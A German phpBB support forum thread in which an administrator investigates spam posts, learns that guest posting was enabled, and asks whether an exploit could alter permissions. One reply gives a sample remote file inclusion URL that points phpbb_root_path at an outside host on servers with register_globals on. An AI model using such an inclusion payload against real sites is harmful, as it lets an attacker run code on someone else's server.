phpBB.de

Hy,

wir hatten bei uns im Forum die letzten Tage 2 Beiträge, einmal ein Link zu diversen Sexseiten, ein anderes mal eine Linkliste zu Online Pharmacie, mit Medikamenten, die unter das Betäubungsmittelgesetz fallen. Daraufin habe ich eben meinen Server untersucht, und auf der Systemebene im ich mir relativ sicher, das mir hier keiner eingebrochen ist. Auch an den Dateien der Forensoftware und den eigenen Webseiten wurde keine veränderung durchgeführt. PHPbb ist eigenltihc auch auf dem aktuellen Stand, die eingebauten MODS auch.

Weiss da jemand, ob im Moment gerade was los ist?

danke euch

Das sieht mir nach 'einfachem' Spam aus.

Gruß, Philipp

Hy Phillip,

ja, kann sein. Aber in dem Forum, in dem er es postete, konnten nur registrierte Posten, aber der Beitrag war als Gast eingestellt. Das macht mich Nachdenklich.

Hast du mal 'nen Link zum Board?

Gruß, Philipp

das folgende sollte eigentlich unnötig sein. Wenn im php.ini
register_globals=On ist, und
allow_url_fopen=On,
dann kann das BB mit dem dümmsten aller einfachen Tricks aufgebrochen werden. Ich sah solche Angriffe (im Log, nicht im BB), und ein Blick in index.php zeigt, dass es sogar noch einfacher geht als im Log:

http : //website.tld/forum?phpbb_root_path=http://ichmachewasichwillextension.inc

Abgesehen davon dass im Fall der Original Frage der Poster sich als "Gast" registrieren kann

Hy,

@philip:

http://forum.casablitzblanca.de/phpbb/index.php

@Peter: RegisterGlobals ist natürlich off.

Hy,

ich habs. Wenn man(n) die Augen aufmacht, findet man meist die Fehler. In dem entsprechenden Forum war das Posten von allen erlaubt, also auch von Gästen, was sonst im Forum nicht erlaubt ist.

Danke euch für eure Tips.

Hy,

jetzt hab ich doch etwas neuere Kentnisse. Die besagte Linksliste der Sexforen sidn ja bei uns aufgetaucht, daraufhin hat eine Adminkollegin geschaut, wie die Foreneinstellungen sind, in bezug auf Posten von nichtregistrierten. Da hat sie es umgestellt auf registrierte. Als ich dann wieder geschaut hab ... wars wieder auf alle.

Gibt es einen Exploit, der die Rechteeinstellungen beeinflussen kann?